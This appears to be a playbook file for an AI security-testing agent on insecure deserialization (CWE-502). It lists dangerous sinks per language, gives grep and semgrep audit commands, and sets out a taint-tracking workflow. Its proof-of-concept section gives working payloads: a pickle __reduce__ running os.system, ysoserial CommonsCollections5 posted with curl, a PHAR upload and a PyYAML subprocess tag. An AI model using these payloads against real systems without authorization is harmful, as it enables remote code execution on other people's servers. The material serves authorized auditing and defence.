name: deserialization description: Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE. metadata: subdomain: web-exploitation when_to_use: "insecure deserialization cwe-502 pickle jackson snakeyaml binaryformatter datacontractjson unserialize marshal yaml load node vm gadget chain"
Insecure Deserialization Playbook
Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.
1. Sources (user-controlled data that becomes an object)
- HTTP body, cookie, header, query param
- Message queue payload (Kafka, RabbitMQ, SQS)
- File upload parsed as config
- WebSocket messages
- Inter-service RPC
2. Dangerous sinks by language
Python
pickle.loads/pickle.load/pickle.Unpicklerdill.loads,cloudpickle.loads,shelve.openyaml.load()withoutLoader=SafeLoaderjsonpickle.decodenumpy.load(allow_pickle=True)torch.load(loads pickled tensors → RCE)joblib.loadmarshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif
Java
ObjectInputStream.readObjectXMLDecoder.readObjectJackson ObjectMapperwith default typing + polymorphic typesSnakeYAMLYaml.load()(before 2.0) — RCE via!!javax.script.ScriptEngineManagerXStreamwithout whitelistHessian,Kryowith registration disabled
Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)
.NET
BinaryFormatter.Deserialize(deprecated but still common)SoapFormatter,LosFormatter,ObjectStateFormatterJavaScriptSerializerwithSimpleTypeResolverJson.NETwithTypeNameHandling != None
PHP
unserialize()on any user input- PHAR uploads —
file_exists("phar://upload.phar")triggers deser - Laravel
decrypt()→unserialize(pre-patched APP_KEY leak chain)
Ruby
Marshal.loadYAML.load(before Psych 4 safe default)Oj.loadwithoutmode: :rails
Node.js
node-serializeunserialize()serialize-to-jsdeserialize()vm.runInNewContext(userInput)— not technically deser but same impact
3. Gadget chain availability
A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:
# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt
# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'
4. Taint audit workflow
- Identify every source (HTTP body/cookie/header handlers).
- Trace the data through:
- Explicit
.loads/.readObject/unserializecalls - Framework magic (Spring
@RequestBodywith default typing) - File uploads parsed as config
- Explicit
- For each confirmed source-to-sink path, check gadget availability on the classpath.
- Record as graph vulnerability node. If no gadgets are currently
available, mark
exploitability="conditional"— the dep upgrade that ships the gadget class is a time bomb.
5. PoC templates
Python pickle (direct)
import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())
Send as cookie/body; success = /tmp/pwn present or command output reflected.
Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set
PHP PHAR
php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper
YAML (PyYAML < safe default)
!!python/object/new:subprocess.check_output [["id"]]
6. Default CVSS
All unauthenticated deser → RCE are 10.0 critical:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deser: drop PR to L → 9.9.
7. Validation contract
validate_finding(
vuln_id=...,
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
success_patterns="uid=0|root@|pwned|/tmp/pwn",
negative_command="curl -X POST https://target.com/api/import --data 'benign'",
negative_patterns="200|accepted",
cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
)